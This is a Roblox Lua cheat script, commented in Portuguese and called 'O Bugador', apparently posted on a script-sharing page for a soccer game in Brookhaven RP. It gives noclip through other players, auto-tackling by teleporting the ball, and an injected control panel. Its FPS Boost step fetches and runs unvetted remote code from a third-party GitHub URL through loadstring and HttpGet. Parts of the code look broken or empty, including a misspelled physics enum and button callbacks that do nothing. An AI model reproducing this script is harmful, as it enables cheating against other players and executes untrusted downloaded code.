
KeylessUniversal

-- 💯 O Bugador
-- Delta Brookhaven RP - Script Completo
-- Funcionalidades: Atravessar jogadores, Desarme Auto, Anti Pulo, FPS Boost, Otimização bola, Painel arrastável
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local LocalPlayer = Players.LocalPlayer
-- Referências do personagem
local Character, Humanoid, RootPart
local function UpdateChar()
Character = LocalPlayer.Character
if Character then
Humanoid = Character:FindFirstChildOfClass("Humanoid")
RootPart = Character:FindFirstChild("HumanoidRootPart")
end
end
UpdateChar()
LocalPlayer.CharacterAdded:Connect(UpdateChar)
-- Referência da bola
local Ball = workspace:FindFirstChild("SoccerBall") or workspace:FindFirstChild("Football")
-- Configurações
local Settings = {
PainelAberto = true,
Atravessar = false,
AntiPulo = false,
DesarmeAuto = false,
BolaChiclete = false,
FPSBoost = true,
PingReducer = true
}
-- Função para atravessar jogadores rastrejando (exceto você e a bola)
local function AtravessarJogadores()
if not RootPart then return end
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= LocalPlayer and plr.Character then
for _, part in pairs(plr.Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = not Settings.Atravessar
end
end
end
end
end
-- Função Desarme Auto (Reach Auto)
local function DesarmeAutoFunc()
if not Settings.DesarmeAuto or not Ball or not RootPart then return end
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= LocalPlayer and plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") then
local dist = (plr.Character.HumanoidRootPart.Position - RootPart.Position).Magnitude
if dist < 8 then
-- Move a bola próximo ao jogador automaticamente
Ball.CFrame = CFrame.new(RootPart.Position + Vector3.new(0, 0, 2))
end
end
end
end
-- FPS Boost
if Settings.FPSBoost then
loadstring(game:HttpGet("https://raw.githubusercontent.com/CasperFlyModz/discord.gg-rips/main/FPSBooster.lua"))()
end
-- Ping Reducer (fake para otimizar física e colisão)
local function OptimizePing(state)
if state then
settings().Physics.AllowSleep = false
settings().Physics.PhysicsEnvironmentalThrottle = Enum.EnviromentalPhysicsThrottle.Disabled
end
end
OptimizePing(Settings.PingReducer)
-- Criar GUI
local ScreenGui = Instance.new("ScreenGui", game.CoreGui)
ScreenGui.Name = "OBugadorScript"
-- Painel principal
local MainFrame = Instance.new("Frame", ScreenGui)
MainFrame.Size = UDim2.new(0, 240, 0, 280)
MainFrame.Position = UDim2.new(0.05,0,0.2,0)
MainFrame.BackgroundColor3 = Color3.fromRGB(30,30,30)
MainFrame.Active = true
MainFrame.Draggable = true
MainFrame.Visible = Settings.PainelAberto
-- Título
local Title = Instance.new("TextLabel", MainFrame)
Title.Size = UDim2.new(1,0,0,35)
Title.Position = UDim2.new(0,0,0,0)
Title.BackgroundColor3 = Color3.fromRGB(50,50,50)
Title.TextColor3 = Color3.fromRGB(255,255,255)
Title.Font = Enum.Font.SourceSansBold
Title.TextSize = 18
Title.Text = "💯 O Bugador"
-- Função para criar botões
local function CreateButton(nome, yPos, callback)
local Btn = Instance.new("TextButton", MainFrame)
Btn.Size = UDim2.new(0.9,0,0,30)
Btn.Position = UDim2.new(0.05,0,0,35 + yPos)
Btn.BackgroundColor3 = Color3.fromRGB(60,60,60)
Btn.TextColor3 = Color3.fromRGB(255,255,255)
Btn.Font = Enum.Font.SourceSans
Btn.TextSize = 16
Btn.Text = nome.." [OFF]"
Btn.MouseButton1Click:Connect(function()
Settings[nome] = not Settings[nome]
Btn.Text = nome.." ["..(Settings[nome] and "ON" or "OFF").."]"
callback(Settings[nome])
end)
end
-- Botões do painel
CreateButton("Atravessar",0,function() end)
CreateButton("DesarmeAuto",40,function() end)
CreateButton("AntiPulo",80,function(state)
if Humanoid then Humanoid.JumpPower = state and 0 or 50 end
end)
CreateButton("BolaChiclete",120,function(state) end)
CreateButton("FPSBoost",160,function(state) end)
CreateButton("PingReducer",200,function(state) OptimizePing(state) end)
-- Botão flutuante abrir/fechar painel
local ToggleBtn = Instance.new("TextButton", ScreenGui)
ToggleBtn.Size = UDim2.new(0,150,0,35)
ToggleBtn.Position = UDim2.new(0.05,0,0.1,0)
ToggleBtn.BackgroundColor3 = Color3.fromRGB(100,100,100)
ToggleBtn.TextColor3 = Color3.fromRGB(255,255,255)
ToggleBtn.Font = Enum.Font.SourceSansBold
ToggleBtn.TextSize = 16
ToggleBtn.Text = "Abrir/Fechar Painel"
ToggleBtn.MouseButton1Click:Connect(function()
Settings.PainelAberto = not Settings.PainelAberto
MainFrame.Visible = Settings.PainelAberto
end)
-- Abrir/fechar painel com tecla P
UserInputService.InputBegan:Connect(function(input,gp)
if not gp and input.KeyCode == Enum.KeyCode.P then
Settings.PainelAberto = not Settings.PainelAberto
MainFrame.Visible = Settings.PainelAberto
end
end)
-- Loop principal
RunService.RenderStepped:Connect(function()
if Settings.Atravessar then AtravessarJogadores() end
if Settings.DesarmeAuto then DesarmeAutoFunc() end
end)No comments yet for this script.



